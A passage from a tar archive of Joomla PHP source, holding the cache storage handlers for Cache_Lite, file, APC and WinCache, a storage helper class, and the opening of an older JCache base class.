	 * Instantiates the Cache_Lite object. Only initializes the engine if it does not already exist.
	 *
	 * @param   array  $cloptions  optional parameters
	 *
	 * @return  Cache_Lite
	 *
	 * @since   11.1
	 */
	protected function initCache($cloptions)
	{
		if (!class_exists('Cache_Lite'))
		{
			require_once 'Cache/Lite.php';
		}

		static::$CacheLiteInstance = new Cache_Lite($cloptions);

		return static::$CacheLiteInstance;
	}

	/**
	 * Get cached data by ID and group
	 *
	 * @param   string   $id         The cache data ID
	 * @param   string   $group      The cache data group
	 * @param   boolean  $checkTime  True to verify cache time expiration threshold
	 *
	 * @return  mixed  Boolean false on failure or a cached data object
	 *
	 * @since   11.1
	 */
	public function get($id, $group, $checkTime = true)
	{
		static::$CacheLiteInstance->setOption('cacheDir', $this->_root . '/' . $group . '/');

		// This call is needed to ensure $this->rawname is set
		$this->_getCacheId($id, $group);

		return static::$CacheLiteInstance->get($this->rawname, $group);
	}

	/**
	 * Get all cached data
	 *
	 * @return  mixed  Boolean false on failure or a cached data object
	 *
	 * @since   11.1
	 */
	public function getAll()
	{
		$path    = $this->_root;
		$folders = new DirectoryIterator($path);
		$data    = array();

		foreach ($folders as $folder)
		{
			if (!$folder->isDir() || $folder->isDot())
			{
				continue;
			}

			$foldername = $folder->getFilename();

			$files = new DirectoryIterator($path . '/' . $foldername);
			$item  = new JCacheStorageHelper($foldername);

			foreach ($files as $file)
			{
				if (!$file->isFile())
				{
					continue;
				}

				$filename = $file->getFilename();

				$item->updateSize(filesize($path . '/' . $foldername . '/' . $filename) / 1024);
			}

			$data[$foldername] = $item;
		}

		return $data;
	}

	/**
	 * Store the data to cache by ID and group
	 *
	 * @param   string  $id     The cache data ID
	 * @param   string  $group  The cache data group
	 * @param   string  $data   The data to store in cache
	 *
	 * @return  boolean
	 *
	 * @since   11.1
	 */
	public function store($id, $group, $data)
	{
		$dir = $this->_root . '/' . $group;

		// If the folder doesn't exist try to create it
		if (!is_dir($dir))
		{
			// Make sure the index file is there
			$indexFile = $dir . '/index.html';
			@mkdir($dir) && file_put_contents($indexFile, '<!DOCTYPE html><title></title>');
		}

		// Make sure the folder exists
		if (!is_dir($dir))
		{
			return false;
		}

		static::$CacheLiteInstance->setOption('cacheDir', $this->_root . '/' . $group . '/');

		// This call is needed to ensure $this->rawname is set
		$this->_getCacheId($id, $group);

		return static::$CacheLiteInstance->save($data, $this->rawname, $group);
	}

	/**
	 * Remove a cached data entry by ID and group
	 *
	 * @param   string  $id     The cache data ID
	 * @param   string  $group  The cache data group
	 *
	 * @return  boolean
	 *
	 * @since   11.1
	 */
	public function remove($id, $group)
	{
		static::$CacheLiteInstance->setOption('cacheDir', $this->_root . '/' . $group . '/');

		// This call is needed to ensure $this->rawname is set
		$this->_getCacheId($id, $group);

		return static::$CacheLiteInstance->remove($this->rawname, $group);
	}

	/**
	 * Clean cache for a group given a mode.
	 *
	 * group mode    : cleans all cache in the group
	 * notgroup mode : cleans all cache not in the group
	 *
	 * @param   string  $group  The cache data group
	 * @param   string  $mode   The mode for cleaning cache [group|notgroup]
	 *
	 * @return  boolean
	 *
	 * @since   11.1
	 */
	public function clean($group, $mode = null)
	{
		jimport('joomla.filesystem.folder');
		jimport('joomla.filesystem.file');

		switch ($mode)
		{
			case 'notgroup':
				$clmode  = 'notingroup';
				$success = static::$CacheLiteInstance->clean($group, $clmode);
				break;

			case 'group':
				if (is_dir($this->_root . '/' . $group))
				{
					$clmode = $group;
					static::$CacheLiteInstance->setOption('cacheDir', $this->_root . '/' . $group . '/');
					$success = static::$CacheLiteInstance->clean($group, $clmode);

					// Remove sub-folders of folder; disable all filtering
					$folders = JFolder::folders($this->_root . '/' . $group, '.', false, true, array(), array());

					foreach ($folders as $folder)
					{
						if (is_link($folder))
						{
							if (JFile::delete($folder) !== true)
							{
								return false;
							}
						}
						elseif (JFolder::delete($folder) !== true)
						{
							return false;
						}
					}
				}
				else
				{
					$success = true;
				}

				break;

			default:
				if (is_dir($this->_root . '/' . $group))
				{
					$clmode = $group;
					static::$CacheLiteInstance->setOption('cacheDir', $this->_root . '/' . $group . '/');
					$success = static::$CacheLiteInstance->clean($group, $clmode);
				}
				else
				{
					$success = true;
				}

				break;
		}

		return $success;
	}

	/**
	 * Garbage collect expired cache data
	 *
	 * @return  boolean
	 *
	 * @since   11.1
	 */
	public function gc()
	{
		$result = true;
		static::$CacheLiteInstance->setOption('automaticCleaningFactor', 1);
		static::$CacheLiteInstance->setOption('hashedDirectoryLevel', 1);
		$success1 = static::$CacheLiteInstance->_cleanDir($this->_root . '/', false, 'old');

		if (!($dh = opendir($this->_root . '/')))
		{
			return false;
		}

		while ($file = readdir($dh))
		{
			if (($file != '.') && ($file != '..') && ($file != '.svn'))
			{
				$file2 = $this->_root . '/' . $file;

				if (is_dir($file2))
				{
					$result = ($result && (static::$CacheLiteInstance->_cleanDir($file2 . '/', false, 'old')));
				}
			}
		}

		$success = ($success1 && $result);

		return $success;
	}

	/**
	 * Test to see if the storage handler is available.
	 *
	 * @return  boolean
	 *
	 * @since   12.1
	 */
	public static function isSupported()
	{
		@include_once 'Cache/Lite.php';

		return class_exists('Cache_Lite');
	}
}
cms/joomla/cache/storage/file.php000644 001411 001411 00000035774 12750043556 017533 0ustar00panelpanel000000 000000 <?php
/**
 * @package     Joomla.Platform
 * @subpackage  Cache
 *
 * @copyright   Copyright (C) 2005 - 2016 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

defined('JPATH_PLATFORM') or die;

/**
 * File cache storage handler
 *
 * @since  11.1
 * @note   For performance reasons this class does not use the Filesystem package's API
 */
class JCacheStorageFile extends JCacheStorage
{
	/**
	 * Root path
	 *
	 * @var    string
	 * @since  11.1
	 */
	protected $_root;

	/**
	 * Constructor
	 *
	 * @param   array  $options  Optional parameters
	 *
	 * @since   11.1
	 */
	public function __construct($options = array())
	{
		parent::__construct($options);
		$this->_root = $options['cachebase'];
	}

	/**
	 * Get cached data by ID and group
	 *
	 * @param   string   $id         The cache data ID
	 * @param   string   $group      The cache data group
	 * @param   boolean  $checkTime  True to verify cache time expiration threshold
	 *
	 * @return  mixed  Boolean false on failure or a cached data object
	 *
	 * @since   11.1
	 */
	public function get($id, $group, $checkTime = true)
	{
		$data = false;
		$path = $this->_getFilePath($id, $group);

		if ($checkTime == false || ($checkTime == true && $this->_checkExpire($id, $group) === true))
		{
			if (file_exists($path))
			{
				$data = file_get_contents($path);

				if ($data)
				{
					// Remove the initial die() statement
					$data = str_replace('<?php die("Access Denied"); ?>#x#', '', $data);
				}
			}

			return $data;
		}

		return false;
	}

	/**
	 * Get all cached data
	 *
	 * @return  mixed  Boolean false on failure or a cached data object
	 *
	 * @since   11.1
	 */
	public function getAll()
	{
		$path    = $this->_root;
		$folders = $this->_folders($path);
		$data    = array();

		foreach ($folders as $folder)
		{
			$files = $this->_filesInFolder($path . '/' . $folder);
			$item  = new JCacheStorageHelper($folder);

			foreach ($files as $file)
			{
				$item->updateSize(filesize($path . '/' . $folder . '/' . $file) / 1024);
			}

			$data[$folder] = $item;
		}

		return $data;
	}

	/**
	 * Store the data to cache by ID and group
	 *
	 * @param   string  $id     The cache data ID
	 * @param   string  $group  The cache data group
	 * @param   string  $data   The data to store in cache
	 *
	 * @return  boolean
	 *
	 * @since   11.1
	 */
	public function store($id, $group, $data)
	{
		$written = false;
		$path    = $this->_getFilePath($id, $group);
		$die     = '<?php die("Access Denied"); ?>#x#';

		// Prepend a die string
		$data = $die . $data;

		$_fileopen = @fopen($path, "wb");

		if ($_fileopen)
		{
			$len = strlen($data);
			@fwrite($_fileopen, $data, $len);
			$written = true;
		}

		// Data integrity check
		return $written && ($data == file_get_contents($path));
	}

	/**
	 * Remove a cached data entry by ID and group
	 *
	 * @param   string  $id     The cache data ID
	 * @param   string  $group  The cache data group
	 *
	 * @return  boolean
	 *
	 * @since   11.1
	 */
	public function remove($id, $group)
	{
		$path = $this->_getFilePath($id, $group);

		if (!@unlink($path))
		{
			return false;
		}

		return true;
	}

	/**
	 * Clean cache for a group given a mode.
	 *
	 * group mode    : cleans all cache in the group
	 * notgroup mode : cleans all cache not in the group
	 *
	 * @param   string  $group  The cache data group
	 * @param   string  $mode   The mode for cleaning cache [group|notgroup]
	 *
	 * @return  boolean
	 *
	 * @since   11.1
	 */
	public function clean($group, $mode = null)
	{
		$return = true;
		$folder = $group;

		if (trim($folder) == '')
		{
			$mode = 'notgroup';
		}

		switch ($mode)
		{
			case 'notgroup' :
				$folders = $this->_folders($this->_root);

				for ($i = 0, $n = count($folders); $i < $n; $i++)
				{
					if ($folders[$i] != $folder)
					{
						$return |= $this->_deleteFolder($this->_root . '/' . $folders[$i]);
					}
				}

				break;

			case 'group' :
			default :
				if (is_dir($this->_root . '/' . $folder))
				{
					$return = $this->_deleteFolder($this->_root . '/' . $folder);
				}

				break;
		}

		return (bool) $return;
	}

	/**
	 * Garbage collect expired cache data
	 *
	 * @return  boolean
	 *
	 * @since   11.1
	 */
	public function gc()
	{
		$result = true;

		// Files older than lifeTime get deleted from cache
		$files = $this->_filesInFolder($this->_root, '', true, true, array('.svn', 'CVS', '.DS_Store', '__MACOSX', 'index.html'));

		foreach ($files as $file)
		{
			$time = @filemtime($file);

			if (($time + $this->_lifetime) < $this->_now || empty($time))
			{
				$result |= @unlink($file);
			}
		}

		return (bool) $result;
	}

	/**
	 * Test to see if the storage handler is available.
	 *
	 * @return  boolean
	 *
	 * @since   12.1
	 */
	public static function isSupported()
	{
		return is_writable(JFactory::getConfig()->get('cache_path', JPATH_CACHE));
	}

	/**
	 * Lock cached item
	 *
	 * @param   string   $id        The cache data ID
	 * @param   string   $group     The cache data group
	 * @param   integer  $locktime  Cached item max lock time
	 *
	 * @return  mixed  Boolean false if locking failed or an object containing properties lock and locklooped
	 *
	 * @since   11.1
	 */
	public function lock($id, $group, $locktime)
	{
		$returning             = new stdClass;
		$returning->locklooped = false;

		$looptime  = $locktime * 10;
		$path      = $this->_getFilePath($id, $group);
		$_fileopen = @fopen($path, "r+b");

		if ($_fileopen)
		{
			$data_lock = @flock($_fileopen, LOCK_EX);
		}
		else
		{
			$data_lock = false;
		}

		if ($data_lock === false)
		{
			$lock_counter = 0;

			// Loop until you find that the lock has been released.
			// That implies that data get from other thread has finished
			while ($data_lock === false)
			{
				if ($lock_counter > $looptime)
				{
					$returning->locked     = false;
					$returning->locklooped = true;
					break;
				}

				usleep(100);
				$data_lock = @flock($_fileopen, LOCK_EX);
				$lock_counter++;
			}
		}

		$returning->locked = $data_lock;

		return $returning;
	}

	/**
	 * Unlock cached item
	 *
	 * @param   string  $id     The cache data ID
	 * @param   string  $group  The cache data group
	 *
	 * @return  boolean
	 *
	 * @since   11.1
	 */
	public function unlock($id, $group = null)
	{
		$path      = $this->_getFilePath($id, $group);
		$_fileopen = @fopen($path, "r+b");

		if ($_fileopen)
		{
			$ret = @flock($_fileopen, LOCK_UN);
			@fclose($_fileopen);

			return $ret;
		}

		return true;
	}

	/**
	 * Check if a cache object has expired
	 *
	 * @param   string  $id     Cache ID to check
	 * @param   string  $group  The cache data group
	 *
	 * @return  boolean  True if the cache ID is valid
	 *
	 * @since   11.1
	 */
	protected function _checkExpire($id, $group)
	{
		$path = $this->_getFilePath($id, $group);

		// Check prune period
		if (file_exists($path))
		{
			$time = @filemtime($path);

			if (($time + $this->_lifetime) < $this->_now || empty($time))
			{
				@unlink($path);

				return false;
			}

			return true;
		}

		return false;
	}

	/**
	 * Get a cache file path from an ID/group pair
	 *
	 * @param   string  $id     The cache data ID
	 * @param   string  $group  The cache data group
	 *
	 * @return  boolean|string  The path to the data object or boolean false if the cache directory does not exist
	 *
	 * @since   11.1
	 */
	protected function _getFilePath($id, $group)
	{
		$name = $this->_getCacheId($id, $group);
		$dir  = $this->_root . '/' . $group;

		// If the folder doesn't exist try to create it
		if (!is_dir($dir))
		{
			// Make sure the index file is there
			$indexFile = $dir . '/index.html';
			@mkdir($dir) && file_put_contents($indexFile, '<!DOCTYPE html><title></title>');
		}

		// Make sure the folder exists
		if (!is_dir($dir))
		{
			return false;
		}

		return $dir . '/' . $name . '.php';
	}

	/**
	 * Quickly delete a folder of files
	 *
	 * @param   string  $path  The path to the folder to delete.
	 *
	 * @return  boolean
	 *
	 * @since   11.1
	 */
	protected function _deleteFolder($path)
	{
		// Sanity check
		if (!$path || !is_dir($path) || empty($this->_root))
		{
			// Bad programmer! Bad, bad programmer!
			JLog::add(__METHOD__ . ' ' . JText::_('JLIB_FILESYSTEM_ERROR_DELETE_BASE_DIRECTORY'), JLog::WARNING, 'jerror');

			return false;
		}

		$path = $this->_cleanPath($path);

		// Check to make sure path is inside cache folder, we do not want to delete Joomla root!
		$pos = strpos($path, $this->_cleanPath($this->_root));

		if ($pos === false || $pos > 0)
		{
			JLog::add(__METHOD__ . ' ' . JText::sprintf('JLIB_FILESYSTEM_ERROR_PATH_IS_NOT_A_FOLDER', $path), JLog::WARNING, 'jerror');

			return false;
		}

		// Remove all the files in folder if they exist; disable all filtering
		$files = $this->_filesInFolder($path, '.', false, true, array(), array());

		if (!empty($files) && !is_array($files))
		{
			if (@unlink($files) !== true)
			{
				return false;
			}
		}
		elseif (!empty($files) && is_array($files))
		{
			foreach ($files as $file)
			{
				$file = $this->_cleanPath($file);

				// In case of restricted permissions we zap it one way or the other as long as the owner is either the webserver or the ftp
				if (@unlink($file) !== true)
				{
					JLog::add(__METHOD__ . ' ' . JText::sprintf('JLIB_FILESYSTEM_DELETE_FAILED', basename($file)), JLog::WARNING, 'jerror');

					return false;
				}
			}
		}

		// Remove sub-folders of folder; disable all filtering
		$folders = $this->_folders($path, '.', false, true, array(), array());

		foreach ($folders as $folder)
		{
			if (is_link($folder))
			{
				// Don't descend into linked directories, just delete the link.
				if (@unlink($folder) !== true)
				{
					return false;
				}
			}
			elseif ($this->_deleteFolder($folder) !== true)
			{
				return false;
			}
		}

		// In case of restricted permissions we zap it one way or the other as long as the owner is either the webserver or the ftp
		if (@rmdir($path))
		{
			return true;
		}

		JLog::add(__METHOD__ . ' ' . JText::sprintf('JLIB_FILESYSTEM_ERROR_FOLDER_DELETE', $path), JLog::WARNING, 'jerror');

		return false;
	}

	/**
	 * Function to strip additional / or \ in a path name
	 *
	 * @param   string  $path  The path to clean
	 * @param   string  $ds    Directory separator (optional)
	 *
	 * @return  string  The cleaned path
	 *
	 * @since   11.1
	 */
	protected function _cleanPath($path, $ds = DIRECTORY_SEPARATOR)
	{
		$path = trim($path);

		if (empty($path))
		{
			return $this->_root;
		}

		// Remove double slashes and backslahses and convert all slashes and backslashes to DIRECTORY_SEPARATOR
		$path = preg_replace('#[/\\\\]+#', $ds, $path);

		return $path;
	}

	/**
	 * Utility function to quickly read the files in a folder.
	 *
	 * @param   string   $path           The path of the folder to read.
	 * @param   string   $filter         A filter for file names.
	 * @param   mixed    $recurse        True to recursively search into sub-folders, or an integer to specify the maximum depth.
	 * @param   boolean  $fullpath       True to return the full path to the file.
	 * @param   array    $exclude        Array with names of files which should not be shown in the result.
	 * @param   array    $excludefilter  Array of folder names to exclude
	 *
	 * @return  array  Files in the given folder.
	 *
	 * @since   11.1
	 */
	protected function _filesInFolder($path, $filter = '.', $recurse = false, $fullpath = false,
		$exclude = array('.svn', 'CVS', '.DS_Store', '__MACOSX'), $excludefilter = array('^\..*', '.*~'))
	{
		$arr = array();

		// Check to make sure the path valid and clean
		$path = $this->_cleanPath($path);

		// Is the path a folder?
		if (!is_dir($path))
		{
			JLog::add(__METHOD__ . ' ' . JText::sprintf('JLIB_FILESYSTEM_ERROR_PATH_IS_NOT_A_FOLDER', $path), JLog::WARNING, 'jerror');

			return false;
		}

		// Read the source directory.
		if (!($handle = @opendir($path)))
		{
			return $arr;
		}

		if (count($excludefilter))
		{
			$excludefilter = '/(' . implode('|', $excludefilter) . ')/';
		}
		else
		{
			$excludefilter = '';
		}

		while (($file = readdir($handle)) !== false)
		{
			if (($file != '.') && ($file != '..') && (!in_array($file, $exclude)) && (!$excludefilter || !preg_match($excludefilter, $file)))
			{
				$dir   = $path . '/' . $file;
				$isDir = is_dir($dir);

				if ($isDir)
				{
					if ($recurse)
					{
						if (is_int($recurse))
						{
							$arr2 = $this->_filesInFolder($dir, $filter, $recurse - 1, $fullpath);
						}
						else
						{
							$arr2 = $this->_filesInFolder($dir, $filter, $recurse, $fullpath);
						}

						$arr = array_merge($arr, $arr2);
					}
				}
				else
				{
					if (preg_match("/$filter/", $file))
					{
						if ($fullpath)
						{
							$arr[] = $path . '/' . $file;
						}
						else
						{
							$arr[] = $file;
						}
					}
				}
			}
		}

		closedir($handle);

		return $arr;
	}

	/**
	 * Utility function to read the folders in a folder.
	 *
	 * @param   string   $path           The path of the folder to read.
	 * @param   string   $filter         A filter for folder names.
	 * @param   mixed    $recurse        True to recursively search into sub-folders, or an integer to specify the maximum depth.
	 * @param   boolean  $fullpath       True to return the full path to the folders.
	 * @param   array    $exclude        Array with names of folders which should not be shown in the result.
	 * @param   array    $excludefilter  Array with regular expressions matching folders which should not be shown in the result.
	 *
	 * @return  array  Folders in the given folder.
	 *
	 * @since   11.1
	 */
	protected function _folders($path, $filter = '.', $recurse = false, $fullpath = false, $exclude = array('.svn', 'CVS', '.DS_Store', '__MACOSX'),
		$excludefilter = array('^\..*'))
	{
		$arr = array();

		// Check to make sure the path valid and clean
		$path = $this->_cleanPath($path);

		// Is the path a folder?
		if (!is_dir($path))
		{
			JLog::add(__METHOD__ . ' ' . JText::sprintf('JLIB_FILESYSTEM_ERROR_PATH_IS_NOT_A_FOLDER', $path), JLog::WARNING, 'jerror');

			return false;
		}

		// Read the source directory
		if (!($handle = @opendir($path)))
		{
			return $arr;
		}

		if (count($excludefilter))
		{
			$excludefilter_string = '/(' . implode('|', $excludefilter) . ')/';
		}
		else
		{
			$excludefilter_string = '';
		}

		while (($file = readdir($handle)) !== false)
		{
			if (($file != '.') && ($file != '..')
				&& (!in_array($file, $exclude))
				&& (empty($excludefilter_string) || !preg_match($excludefilter_string, $file)))
			{
				$dir   = $path . '/' . $file;
				$isDir = is_dir($dir);

				if ($isDir)
				{
					// Removes filtered directories
					if (preg_match("/$filter/", $file))
					{
						if ($fullpath)
						{
							$arr[] = $dir;
						}
						else
						{
							$arr[] = $file;
						}
					}

					if ($recurse)
					{
						if (is_int($recurse))
						{
							$arr2 = $this->_folders($dir, $filter, $recurse - 1, $fullpath, $exclude, $excludefilter);
						}
						else
						{
							$arr2 = $this->_folders($dir, $filter, $recurse, $fullpath, $exclude, $excludefilter);
						}

						$arr = array_merge($arr, $arr2);
					}
				}
			}
		}

		closedir($handle);

		return $arr;
	}
}
cms/joomla/cache/storage/apc.php000644 001411 001411 00000013011 12750043556 017333 0ustar00panelpanel000000 000000 <?php
/**
 * @package     Joomla.Platform
 * @subpackage  Cache
 *
 * @copyright   Copyright (C) 2005 - 2016 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

defined('JPATH_PLATFORM') or die;

/**
 * APC cache storage handler
 *
 * @see    https://secure.php.net/manual/en/book.apc.php
 * @since  11.1
 */
class JCacheStorageApc extends JCacheStorage
{
	/**
	 * Get cached data by ID and group
	 *
	 * @param   string   $id         The cache data ID
	 * @param   string   $group      The cache data group
	 * @param   boolean  $checkTime  True to verify cache time expiration threshold
	 *
	 * @return  mixed  Boolean false on failure or a cached data object
	 *
	 * @since   11.1
	 */
	public function get($id, $group, $checkTime = true)
	{
		return apc_fetch($this->_getCacheId($id, $group));
	}

	/**
	 * Get all cached data
	 *
	 * @return  mixed  Boolean false on failure or a cached data object
	 *
	 * @since   11.1
	 */
	public function getAll()
	{
		$allinfo = apc_cache_info('user');
		$keys    = $allinfo['cache_list'];
		$secret  = $this->_hash;

		$data = array();

		foreach ($keys as $key)
		{
			// If APCu is being used for this adapter, the internal key name changed with APCu 4.0.7 from key to info
			$name    = isset($key['info']) ? $key['info'] : $key['key'];
			$namearr = explode('-', $name);

			if ($namearr !== false && $namearr[0] == $secret && $namearr[1] == 'cache')
			{
				$group = $namearr[2];

				if (!isset($data[$group]))
				{
					$item = new JCacheStorageHelper($group);
				}
				else
				{
					$item = $data[$group];
				}

				$item->updateSize($key['mem_size'] / 1024);

				$data[$group] = $item;
			}
		}

		return $data;
	}

	/**
	 * Store the data to cache by ID and group
	 *
	 * @param   string  $id     The cache data ID
	 * @param   string  $group  The cache data group
	 * @param   string  $data   The data to store in cache
	 *
	 * @return  boolean
	 *
	 * @since   11.1
	 */
	public function store($id, $group, $data)
	{
		return apc_store($this->_getCacheId($id, $group), $data, $this->_lifetime);
	}

	/**
	 * Remove a cached data entry by ID and group
	 *
	 * @param   string  $id     The cache data ID
	 * @param   string  $group  The cache data group
	 *
	 * @return  boolean
	 *
	 * @since   11.1
	 */
	public function remove($id, $group)
	{
		return apc_delete($this->_getCacheId($id, $group));
	}

	/**
	 * Clean cache for a group given a mode.
	 *
	 * group mode    : cleans all cache in the group
	 * notgroup mode : cleans all cache not in the group
	 *
	 * @param   string  $group  The cache data group
	 * @param   string  $mode   The mode for cleaning cache [group|notgroup]
	 *
	 * @return  boolean
	 *
	 * @since   11.1
	 */
	public function clean($group, $mode = null)
	{
		$allinfo = apc_cache_info('user');
		$keys    = $allinfo['cache_list'];
		$secret  = $this->_hash;

		foreach ($keys as $key)
		{
			// If APCu is being used for this adapter, the internal key name changed with APCu 4.0.7 from key to info
			$internalKey = isset($key['info']) ? $key['info'] : $key['key'];

			if (strpos($internalKey, $secret . '-cache-' . $group . '-') === 0 xor $mode != 'group')
			{
				apc_delete($internalKey);
			}
		}

		return true;
	}

	/**
	 * Garbage collect expired cache data
	 *
	 * @return  boolean
	 *
	 * @since   11.1
	 */
	public function gc()
	{
		$allinfo = apc_cache_info('user');
		$keys    = $allinfo['cache_list'];
		$secret  = $this->_hash;

		foreach ($keys as $key)
		{
			// If APCu is being used for this adapter, the internal key name changed with APCu 4.0.7 from key to info
			$internalKey = isset($key['info']) ? $key['info'] : $key['key'];

			if (strpos($internalKey, $secret . '-cache-'))
			{
				apc_fetch($internalKey);
			}
		}
	}

	/**
	 * Test to see if the storage handler is available.
	 *
	 * @return  boolean
	 *
	 * @since   12.1
	 */
	public static function isSupported()
	{
		$supported = extension_loaded('apc') && ini_get('apc.enabled');

		// If on the CLI interface, the `apc.enable_cli` option must also be enabled
		if ($supported && php_sapi_name() === 'cli')
		{
			$supported = ini_get('apc.enable_cli');
		}

		return (bool) $supported;
	}

	/**
	 * Lock cached item
	 *
	 * @param   string   $id        The cache data ID
	 * @param   string   $group     The cache data group
	 * @param   integer  $locktime  Cached item max lock time
	 *
	 * @return  mixed  Boolean false if locking failed or an object containing properties lock and locklooped
	 *
	 * @since   11.1
	 */
	public function lock($id, $group, $locktime)
	{
		$returning             = new stdClass;
		$returning->locklooped = false;

		$looptime = $locktime * 10;

		$cache_id = $this->_getCacheId($id, $group) . '_lock';

		$data_lock = apc_add($cache_id, 1, $locktime);

		if ($data_lock === false)
		{
			$lock_counter = 0;

			// Loop until you find that the lock has been released. That implies that data get from other thread has finished
			while ($data_lock === false)
			{
				if ($lock_counter > $looptime)
				{
					$returning->locked     = false;
					$returning->locklooped = true;
					break;
				}

				usleep(100);
				$data_lock = apc_add($cache_id, 1, $locktime);
				$lock_counter++;
			}
		}

		$returning->locked = $data_lock;

		return $returning;
	}

	/**
	 * Unlock cached item
	 *
	 * @param   string  $id     The cache data ID
	 * @param   string  $group  The cache data group
	 *
	 * @return  boolean
	 *
	 * @since   11.1
	 */
	public function unlock($id, $group = null)
	{
		return apc_delete($this->_getCacheId($id, $group) . '_lock');
	}
}
cms/joomla/cache/storage/helper.php000644 001411 001411 00000002154 12750043556 020055 0ustar00panelpanel000000 000000 <?php
/**
 * @package     Joomla.Platform
 * @subpackage  Cache
 *
 * @copyright   Copyright (C) 2005 - 2016 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

defined('JPATH_PLATFORM') or die;

/**
 * Cache storage helper functions.
 *
 * @since  11.1
 */
class JCacheStorageHelper
{
	/**
	 * Cache data group
	 *
	 * @var    string
	 * @since  11.1
	 */
	public $group = '';

	/**
	 * Cached item size
	 *
	 * @var    string
	 * @since  11.1
	 */
	public $size = 0;

	/**
	 * Counter
	 *
	 * @var    integer
	 * @since  11.1
	 */
	public $count = 0;

	/**
	 * Constructor
	 *
	 * @param   string  $group  The cache data group
	 *
	 * @since   11.1
	 */
	public function __construct($group)
	{
		$this->group = $group;
	}

	/**
	 * Increase cache items count.
	 *
	 * @param   string  $size  Cached item size
	 *
	 * @return  void
	 *
	 * @since   11.1
	 */
	public function updateSize($size)
	{
		$this->size = number_format((float) $this->size + (float) $size, 2, JText::_('DECIMALS_SEPARATOR'), JText::_('THOUSANDS_SEPARATOR'));
		$this->count++;
	}
}
cms/joomla/cache/storage/wincache.php000644 001411 001411 00000007426 12750043556 020366 0ustar00panelpanel000000 000000 <?php
/**
 * @package     Joomla.Platform
 * @subpackage  Cache
 *
 * @copyright   Copyright (C) 2005 - 2016 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

defined('JPATH_PLATFORM') or die;

/**
 * WinCache cache storage handler
 *
 * @see    https://secure.php.net/manual/en/book.wincache.php
 * @since  11.1
 */
class JCacheStorageWincache extends JCacheStorage
{
	/**
	 * Get cached data by ID and group
	 *
	 * @param   string   $id         The cache data ID
	 * @param   string   $group      The cache data group
	 * @param   boolean  $checkTime  True to verify cache time expiration threshold
	 *
	 * @return  mixed  Boolean false on failure or a cached data object
	 *
	 * @since   11.1
	 */
	public function get($id, $group, $checkTime = true)
	{
		return wincache_ucache_get($this->_getCacheId($id, $group));
	}

	/**
	 * Get all cached data
	 *
	 * @return  mixed  Boolean false on failure or a cached data object
	 *
	 * @since   11.1
	 */
	public function getAll()
	{
		$allinfo = wincache_ucache_info();
		$keys    = $allinfo['ucache_entries'];
		$secret  = $this->_hash;
		$data    = array();

		foreach ($keys as $key)
		{
			$name    = $key['key_name'];
			$namearr = explode('-', $name);

			if ($namearr !== false && $namearr[0] == $secret && $namearr[1] == 'cache')
			{
				$group = $namearr[2];

				if (!isset($data[$group]))
				{
					$item = new JCacheStorageHelper($group);
				}
				else
				{
					$item = $data[$group];
				}

				if (isset($key['value_size']))
				{
					$item->updateSize($key['value_size'] / 1024);
				}
				else
				{
					// Dummy, WINCACHE version is too low.
					$item->updateSize(1);
				}

				$data[$group] = $item;
			}
		}

		return $data;
	}

	/**
	 * Store the data to cache by ID and group
	 *
	 * @param   string  $id     The cache data ID
	 * @param   string  $group  The cache data group
	 * @param   string  $data   The data to store in cache
	 *
	 * @return  boolean
	 *
	 * @since   11.1
	 */
	public function store($id, $group, $data)
	{
		return wincache_ucache_set($this->_getCacheId($id, $group), $data, $this->_lifetime);
	}

	/**
	 * Remove a cached data entry by ID and group
	 *
	 * @param   string  $id     The cache data ID
	 * @param   string  $group  The cache data group
	 *
	 * @return  boolean
	 *
	 * @since   11.1
	 */
	public function remove($id, $group)
	{
		return wincache_ucache_delete($this->_getCacheId($id, $group));
	}

	/**
	 * Clean cache for a group given a mode.
	 *
	 * group mode    : cleans all cache in the group
	 * notgroup mode : cleans all cache not in the group
	 *
	 * @param   string  $group  The cache data group
	 * @param   string  $mode   The mode for cleaning cache [group|notgroup]
	 *
	 * @return  boolean
	 *
	 * @since   11.1
	 */
	public function clean($group, $mode = null)
	{
		$allinfo = wincache_ucache_info();
		$keys    = $allinfo['ucache_entries'];
		$secret  = $this->_hash;

		foreach ($keys as $key)
		{
			if (strpos($key['key_name'], $secret . '-cache-' . $group . '-') === 0 xor $mode != 'group')
			{
				wincache_ucache_delete($key['key_name']);
			}
		}

		return true;
	}

	/**
	 * Garbage collect expired cache data
	 *
	 * @return  boolean
	 *
	 * @since   11.1
	 */
	public function gc()
	{
		$allinfo = wincache_ucache_info();
		$keys    = $allinfo['ucache_entries'];
		$secret  = $this->_hash;

		foreach ($keys as $key)
		{
			if (strpos($key['key_name'], $secret . '-cache-'))
			{
				wincache_ucache_get($key['key_name']);
			}
		}

		return true;
	}

	/**
	 * Test to see if the storage handler is available.
	 *
	 * @return  boolean
	 *
	 * @since   12.1
	 */
	public static function isSupported()
	{
		return extension_loaded('wincache') && function_exists('wincache_ucache_get') && !strcmp(ini_get('wincache.ucenabled'), '1');
	}
}
cms/joomla/cache1/cache.php000644 000000 000000 00000016075 11663435434 016142 0ustar00rootwheel000000 000000 <?php
/**
 * @version		$Id: cache.php 14401 2010-01-26 14:10:00Z louis $
 * @package		Joomla.Framework
 * @subpackage	Cache
 * @copyright	Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.
 * @license		GNU/GPL, see LICENSE.php
 * Joomla! is free software. This version may have been modified pursuant to the
 * GNU General Public License, and as distributed it includes or is derivative
 * of works licensed under the GNU General Public License or other free or open
 * source software licenses. See COPYRIGHT.php for copyright notices and
 * details.
 */

// Check to ensure this file is within the rest of the framework
defined('JPATH_BASE') or die();

//Register the session storage class with the loader
JLoader::register('JCacheStorage', dirname(__FILE__).DS.'storage.php');

/**
 * Joomla! Cache base object
 *
 * @abstract
 * @package		Joomla.Framework
 * @subpackage	Cache
 * @since		1.5
 */
class JCache extends JObject
{
	/**
	 * Storage Handler
	 * @access	private
	 * @var		object
	 */
	var $_handler;

	/**
	 * Cache Options
	 * @access	private
	 * @var		array
	 */
	var $_options;

	/**
	 * Constructor
	 *
	 * @access	protected
	 * @param	array	$options	options
	 */
	function __construct($options)
	{
		$this->_options =& $options;

		// Get the default group and caching
		if(isset($options['language'])) {
			$this->_options['language'] = $options['language'];
		} else {
